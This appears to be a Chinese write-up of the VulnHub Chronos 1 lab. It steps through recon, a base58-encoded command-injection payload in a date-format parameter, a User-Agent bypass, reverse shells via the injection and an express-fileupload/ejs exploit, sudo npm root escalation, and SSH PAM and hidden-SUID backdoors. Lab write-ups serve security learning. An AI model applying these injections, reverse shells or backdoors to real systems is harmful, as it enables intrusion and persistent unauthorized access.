靶机下载地址:https://www.vulnhub.com/entry/chronos-1,735/
教程链接地址: https://www.cnblogs.com/sainet/p/15801144.html
# 确认攻击目标
攻击机 KALI: 192.168.31.135
靶机 CHRONOS:桥接于 192.168.31.1 的网卡,ip 未知
1)arp 确定靶机地址
sudo arp-scan -l

-> 目标机器的 ip 地址: 192.168.31.238
- 确认靶机 ip 开放的端口信息
sudo nmap -A -p- 192.168.31.238 -oN /tmp/chronos.txt

-> 靶机开放端口 21, 80, 8080
# js 代码美化
打开 http://192.168.31.238/ 收集信息
审查源代码,发现一串敏感代码

https://gchq.github.io/CyberChef/ 上进行 js 代码美化
复制代码,并且写到 kali 上,开启简易 web,在网站上浏览详细内容

看到了一个可疑的 url 地址:http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL
-> 可疑密文:4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL
# base58 解密
修改本地 hosts,访问此网站

将可疑密文在 https://gchq.github.io/CyberChef/ 上进行解密,发现是 base58 加密
'+Today is %A, %B %d, %Y %H:%M:%S.'
即意味着服务上执行了 date ‘+Today is % A, % B % d, % Y % H:% M:% S.’
想办法构造 payload 拼接此代码并进行加密
date ‘+Today is %A, %B %d, %Y %H:%M:%S.’|ls
并且在 cyberchef 上进行 base58 加密

得到密文:6o4pVfNt5u68hvKNrAyNuyr7at25Ddm18CEZm8JmX2GYysMb7Wdg
访问 url 地址:http://chronos.local:8000/date?format=6o4pVfNt5u68hvKNrAyNuyr7at25Ddm18CEZm8JmX2GYysMb7Wdg
访问网址后并没有很明显的效果返回,利用 burp 做中间代理,拦截浏览器的数据,查看返回数据包,返回的是权限不足
修改 UA 头,将其改为网站 header 指向的 Chronos 重发数据包,返回数据成功
# 拼接 linux 命令反弹
在 CyberChef 上获取到反弹 shell 的 base58 加密的字符
U6YeY5FABfZU5dWU4iyrYh9ftggJULF7AzvEmsEnqUSdUnWKwDwYAdF6xprK9ZaUTnNV4HebvA5KUFR4p8U1GPYuZzx927U1oUJ4sCBU3eETEhVAMyAEe55PUwNR
拼接到 url 地址中,并且监听本地的 4445 端口,等待 shell
等同于访问 http://chronos.local:8000/date?format=U6YeY5FABfZU5dWU4iyrYh9ftggJULF7AzvEmsEnqUSdUnWKwDwYAdF6xprK9ZaUTnNV4HebvA5KUFR4p8U1GPYuZzx927U1oUJ4sCBU3eETEhVAMyAEe55PuwNR
并修改 UA 为 Chronos
1 | 接收到shell之后,使用python3 改为一个标准的终端 |

# 服务器信息收集
1 | 收集服务器的相关信息 |
发现服务器上无权限设置的错误,也不能利用 pkexec
进行提权,id 组也没有设置错误,没有 suid 的错误权限可利用文件

# express-fileupload 提权
继续翻阅文件,查找的一个 chronos-v2 的文件夹,找到 server.js 中有 express-fileupload 的调用

直接用谷歌搜索是否存在此组件的漏洞,果然找到了一个 exp

在 github 上找到了 ejs 利用的代码,复制此 payload
将 payload 中的参数进行修改,反弹主机 ip 和端口,以及 ejs 的端口号
开启简易 web 服务,将此文件下载到目标靶机上

目标靶机通过运行 ejs.py 文件,shell 成功被反弹
1 | 使用python,stty得到一个标准的shell |
# sudo (npm/node) 提权
查看相关权限的设置,发现 npm,node 都可以提权
在 https://gtfobins.github.io/ 上找到提权命令进行提权
1 | npm 提权 |

-> 获取到了 root 权限
# SSH PAM 软链接维权
1 | ## 靶机上执行: |

1 | ## 攻击机执行: |
实际测试中发现,如果 root 用户被禁止登陆时此方式不能直接登陆,但是可以利用其他存在的用户身份登陆,如:
ssh imera@192.168.31.238 -p 12345 接着输入任意密码就可以 imera 用户权限登陆了
1 | 在ssh的配置文件中开启root登陆,是否可以解决无法用root登陆的问题 |

-> 并不能直接登陆到 root 账户,需要其他的设置进入 root 账户
# SUID 权限维持
1 | 制作隐藏的SUID文件 |

1 | 连接靶机并用SUID文件提权至root |
-> 维持到了 root,现用 imera 登陆,再用 /var/.hack 提权